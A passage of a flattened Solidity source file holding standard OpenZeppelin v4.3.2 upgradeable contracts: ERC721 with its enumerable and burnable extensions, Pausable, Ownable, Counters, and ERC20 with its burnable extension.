address owner = ERC721Upgradeable.ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(
_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view virtual override returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
require(operator != _msgSender(), "ERC721: approve to caller");
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public virtual override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_safeTransfer(from, to, tokenId, _data);
}
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* `_data` is additional data, it has no specified format and it is sent in call to `to`.
*
* This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.
* implement alternative mechanisms to perform token transfer, such as signature-based.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeTransfer(
address from,
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_transfer(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
* and stop existing when they are burned (`_burn`).
*/
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return _owners[tokenId] != address(0);
}
/**
* @dev Returns whether `spender` is allowed to manage `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address owner = ERC721Upgradeable.ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender));
}
/**
* @dev Safely mints `tokenId` and transfers it to `to`.
*
* Requirements:
*
* - `tokenId` must not exist.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
/**
* @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is
* forwarded in {IERC721Receiver-onERC721Received} to contract recipients.
*/
function _safeMint(
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_mint(to, tokenId);
require(
_checkOnERC721Received(address(0), to, tokenId, _data),
"ERC721: transfer to non ERC721Receiver implementer"
);
}
/**
* @dev Mints `tokenId` and transfers it to `to`.
*
* WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible
*
* Requirements:
*
* - `tokenId` must not exist.
* - `to` cannot be the zero address.
*
* Emits a {Transfer} event.
*/
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(address(0), to, tokenId);
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual {
address owner = ERC721Upgradeable.ownerOf(tokenId);
_beforeTokenTransfer(owner, address(0), tokenId);
// Clear approvals
_approve(address(0), tokenId);
_balances[owner] -= 1;
delete _owners[tokenId];
emit Transfer(owner, address(0), tokenId);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
* As opposed to {transferFrom}, this imposes no restrictions on msg.sender.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(
address from,
address to,
uint256 tokenId
) internal virtual {
require(ERC721Upgradeable.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own");
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
// Clear approvals from the previous owner
_approve(address(0), tokenId);
_balances[from] -= 1;
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(from, to, tokenId);
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(address to, uint256 tokenId) internal virtual {
_tokenApprovals[tokenId] = to;
emit Approval(ERC721Upgradeable.ownerOf(tokenId), to, tokenId);
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
if (to.isContract()) {
try IERC721ReceiverUpgradeable(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
return retval == IERC721ReceiverUpgradeable.onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert("ERC721: transfer to non ERC721Receiver implementer");
} else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual {}
uint256[44] private __gap;
}
// File @openzeppelin/contracts-upgradeable/token/ERC721/extensions/IERC721EnumerableUpgradeable.sol@v4.3.2
pragma solidity ^0.8.0;
/**
* @title ERC-721 Non-Fungible Token Standard, optional enumeration extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721EnumerableUpgradeable is IERC721Upgradeable {
/**
* @dev Returns the total amount of tokens stored by the contract.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns a token ID owned by `owner` at a given `index` of its token list.
* Use along with {balanceOf} to enumerate all of ``owner``'s tokens.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId);
/**
* @dev Returns a token ID at a given `index` of all the tokens stored by the contract.
* Use along with {totalSupply} to enumerate all tokens.
*/
function tokenByIndex(uint256 index) external view returns (uint256);
}
// File @openzeppelin/contracts-upgradeable/token/ERC721/extensions/ERC721EnumerableUpgradeable.sol@v4.3.2
pragma solidity ^0.8.0;
/**
* @dev This implements an optional extension of {ERC721} defined in the EIP that adds
* enumerability of all the token ids in the contract as well as all token ids owned by each
* account.
*/
abstract contract ERC721EnumerableUpgradeable is Initializable, ERC721Upgradeable, IERC721EnumerableUpgradeable {
function __ERC721Enumerable_init() internal initializer {
__Context_init_unchained();
__ERC165_init_unchained();
__ERC721Enumerable_init_unchained();
}
function __ERC721Enumerable_init_unchained() internal initializer {
}
// Mapping from owner to list of owned token IDs
mapping(address => mapping(uint256 => uint256)) private _ownedTokens;
// Mapping from token ID to index of the owner tokens list
mapping(uint256 => uint256) private _ownedTokensIndex;
// Array with all token ids, used for enumeration
uint256[] private _allTokens;
// Mapping from token id to position in the allTokens array
mapping(uint256 => uint256) private _allTokensIndex;
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165Upgradeable, ERC721Upgradeable) returns (bool) {
return interfaceId == type(IERC721EnumerableUpgradeable).interfaceId || super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721Enumerable-tokenOfOwnerByIndex}.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) {
require(index < ERC721Upgradeable.balanceOf(owner), "ERC721Enumerable: owner index out of bounds");
return _ownedTokens[owner][index];
}
/**
* @dev See {IERC721Enumerable-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _allTokens.length;
}
/**
* @dev See {IERC721Enumerable-tokenByIndex}.
*/
function tokenByIndex(uint256 index) public view virtual override returns (uint256) {
require(index < ERC721EnumerableUpgradeable.totalSupply(), "ERC721Enumerable: global index out of bounds");
return _allTokens[index];
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual override {
super._beforeTokenTransfer(from, to, tokenId);
if (from == address(0)) {
_addTokenToAllTokensEnumeration(tokenId);
} else if (from != to) {
_removeTokenFromOwnerEnumeration(from, tokenId);
}
if (to == address(0)) {
_removeTokenFromAllTokensEnumeration(tokenId);
} else if (to != from) {
_addTokenToOwnerEnumeration(to, tokenId);
}
}
/**
* @dev Private function to add a token to this extension's ownership-tracking data structures.
* @param to address representing the new owner of the given token ID
* @param tokenId uint256 ID of the token to be added to the tokens list of the given address
*/
function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private {
uint256 length = ERC721Upgradeable.balanceOf(to);
_ownedTokens[to][length] = tokenId;
_ownedTokensIndex[tokenId] = length;
}
/**
* @dev Private function to add a token to this extension's token tracking data structures.
* @param tokenId uint256 ID of the token to be added to the tokens list
*/
function _addTokenToAllTokensEnumeration(uint256 tokenId) private {
_allTokensIndex[tokenId] = _allTokens.length;
_allTokens.push(tokenId);
}
/**
* @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that
* while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for
* gas optimizations e.g. when performing a transfer operation (avoiding double writes).
* This has O(1) time complexity, but alters the order of the _ownedTokens array.
* @param from address representing the previous owner of the given token ID
* @param tokenId uint256 ID of the token to be removed from the tokens list of the given address
*/
function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private {
// To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = ERC721Upgradeable.balanceOf(from) - 1;
uint256 tokenIndex = _ownedTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary
if (tokenIndex != lastTokenIndex) {
uint256 lastTokenId = _ownedTokens[from][lastTokenIndex];
_ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
}
// This also deletes the contents at the last position of the array
delete _ownedTokensIndex[tokenId];
delete _ownedTokens[from][lastTokenIndex];
}
/**
* @dev Private function to remove a token from this extension's token tracking data structures.
* This has O(1) time complexity, but alters the order of the _allTokens array.
* @param tokenId uint256 ID of the token to be removed from the tokens list
*/
function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private {
// To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = _allTokens.length - 1;
uint256 tokenIndex = _allTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so
// rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding
// an 'if' statement (like in _removeTokenFromOwnerEnumeration)
uint256 lastTokenId = _allTokens[lastTokenIndex];
_allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
// This also deletes the contents at the last position of the array
delete _allTokensIndex[tokenId];
_allTokens.pop();
}
uint256[46] private __gap;
}
// File @openzeppelin/contracts-upgradeable/security/PausableUpgradeable.sol@v4.3.2
pragma solidity ^0.8.0;
/**
* @dev Contract module which allows children to implement an emergency stop
* mechanism that can be triggered by an authorized account.
*
* This module is used through inheritance. It will make available the
* modifiers `whenNotPaused` and `whenPaused`, which can be applied to
* the functions of your contract. Note that they will not be pausable by
* simply including this module, only once the modifiers are put in place.
*/
abstract contract PausableUpgradeable is Initializable, ContextUpgradeable {
/**
* @dev Emitted when the pause is triggered by `account`.
*/
event Paused(address account);
/**
* @dev Emitted when the pause is lifted by `account`.
*/
event Unpaused(address account);
bool private _paused;
/**
* @dev Initializes the contract in unpaused state.
*/
function __Pausable_init() internal initializer {
__Context_init_unchained();
__Pausable_init_unchained();
}
function __Pausable_init_unchained() internal initializer {
_paused = false;
}
/**
* @dev Returns true if the contract is paused, and false otherwise.
*/
function paused() public view virtual returns (bool) {
return _paused;
}
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*
* Requirements:
*
* - The contract must not be paused.
*/
modifier whenNotPaused() {
require(!paused(), "Pausable: paused");
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*
* Requirements:
*
* - The contract must be paused.
*/
modifier whenPaused() {
require(paused(), "Pausable: not paused");
_;
}
/**
* @dev Triggers stopped state.
*
* Requirements:
*
* - The contract must not be paused.
*/
function _pause() internal virtual whenNotPaused {
_paused = true;
emit Paused(_msgSender());
}
/**
* @dev Returns to normal state.
*
* Requirements:
*
* - The contract must be paused.
*/
function _unpause() internal virtual whenPaused {
_paused = false;
emit Unpaused(_msgSender());
}
uint256[49] private __gap;
}
// File @openzeppelin/contracts-upgradeable/access/OwnableUpgradeable.sol@v4.3.2
pragma solidity ^0.8.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract OwnableUpgradeable is Initializable, ContextUpgradeable {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
function __Ownable_init() internal initializer {
__Context_init_unchained();
__Ownable_init_unchained();
}
function __Ownable_init_unchained() internal initializer {
_setOwner(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
uint256[49] private __gap;
}
// File @openzeppelin/contracts-upgradeable/token/ERC721/extensions/ERC721BurnableUpgradeable.sol@v4.3.2
pragma solidity ^0.8.0;
/**
* @title ERC721 Burnable Token
* @dev ERC721 Token that can be irreversibly burned (destroyed).
*/
abstract contract ERC721BurnableUpgradeable is Initializable, ContextUpgradeable, ERC721Upgradeable {
function __ERC721Burnable_init() internal initializer {
__Context_init_unchained();
__ERC165_init_unchained();
__ERC721Burnable_init_unchained();
}
function __ERC721Burnable_init_unchained() internal initializer {
}
/**
* @dev Burns `tokenId`. See {ERC721-_burn}.
*
* Requirements:
*
* - The caller must own `tokenId` or be an approved operator.
*/
function burn(uint256 tokenId) public virtual {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721Burnable: caller is not owner nor approved");
_burn(tokenId);
}
uint256[50] private __gap;
}
// File @openzeppelin/contracts-upgradeable/utils/CountersUpgradeable.sol@v4.3.2
pragma solidity ^0.8.0;
/**
* @title Counters
* @author Matt Condon (@shrugs)
* @dev Provides counters that can only be incremented, decremented or reset. This can be used e.g. to track the number
* of elements in a mapping, issuing ERC721 ids, or counting request ids.
*
* Include with `using Counters for Counters.Counter;`
*/
library CountersUpgradeable {
struct Counter {
// This variable should never be directly accessed by users of the library: interactions must be restricted to
// the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add
// this feature: see https://github.com/ethereum/solidity/issues/4637
uint256 _value; // default: 0
}
function current(Counter storage counter) internal view returns (uint256) {
return counter._value;
}
function increment(Counter storage counter) internal {
unchecked {
counter._value += 1;
}
}
function decrement(Counter storage counter) internal {
uint256 value = counter._value;
require(value > 0, "Counter: decrement overflow");
unchecked {
counter._value = value - 1;
}
}
function reset(Counter storage counter) internal {
counter._value = 0;
}
}
// File @openzeppelin/contracts-upgradeable/token/ERC20/IERC20Upgradeable.sol@v4.3.2
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20Upgradeable {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File @openzeppelin/contracts-upgradeable/token/ERC20/extensions/IERC20MetadataUpgradeable.sol@v4.3.2
pragma solidity ^0.8.0;
/**
* @dev Interface for the optional metadata functions from the ERC20 standard.
*
* _Available since v4.1._
*/
interface IERC20MetadataUpgradeable is IERC20Upgradeable {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
// File @openzeppelin/contracts-upgradeable/token/ERC20/ERC20Upgradeable.sol@v4.3.2
pragma solidity ^0.8.0;
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin Contracts guidelines: functions revert
* instead returning `false` on failure. This behavior is nonetheless
* conventional and does not conflict with the expectations of ERC20
* applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20Upgradeable is Initializable, ContextUpgradeable, IERC20Upgradeable, IERC20MetadataUpgradeable {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The default value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
function __ERC20_init(string memory name_, string memory symbol_) internal initializer {
__Context_init_unchained();
__ERC20_init_unchained(name_, symbol_);
}
function __ERC20_init_unchained(string memory name_, string memory symbol_) internal initializer {
_name = name_;
_symbol = symbol_;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5.05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overridden;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint8) {
return 18;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
unchecked {
_approve(sender, _msgSender(), currentAllowance - amount);
}
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
unchecked {
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
}
return true;
}
/**
* @dev Moves `amount` of tokens from `sender` to `recipient`.
*
* This internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
unchecked {
_balances[sender] = senderBalance - amount;
}
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
_afterTokenTransfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
_afterTokenTransfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
unchecked {
_balances[account] = accountBalance - amount;
}
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
_afterTokenTransfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
/**
* @dev Hook that is called after any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* has been transferred to `to`.
* - when `from` is zero, `amount` tokens have been minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens have been burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _afterTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
uint256[45] private __gap;
}
// File @openzeppelin/contracts-upgradeable/token/ERC20/extensions/ERC20BurnableUpgradeable.sol@v4.3.2
pragma solidity ^0.8.0;
/**
* @dev Extension of {ERC20} that allows token holders to destroy both their own
* tokens and those that they have an allowance for, in a way that can be
* recognized off-chain (via event analysis).
*/
abstract contract ERC20BurnableUpgradeable is Initializable, ContextUpgradeable, ERC20Upgradeable {
function __ERC20Burnable_init() internal initializer {
__Context_init_unchained();
__ERC20Burnable_init_unchained();
}
function __ERC20Burnable_init_unchained() internal initializer {
}
/**
* @dev Destroys `amount` tokens from the caller.
*
* See {ERC20-_burn}.
*/
function burn(uint256 amount) public virtual {
_burn(_msgSender(), amount);
}
/**
* @dev Destroys `amount` tokens from `account`, deducting from the caller's
* allowance.
*
* See {ERC20-_burn} and {ERC20-allowance}.
*
* Requirements:
*
* - the caller must have allowance for ``accounts``'s tokens of at least
* `amount`.
*/
function burnFrom(address account, uint256 amount) public virtual {
uint256 currentAllowance = allowance(account, _msgSender());
require(currentAllowance >= amount, "ERC20: burn amount exceeds allowance");
unchecked {
_approve(account, _msgSender(), currentAllowance - amount);
}
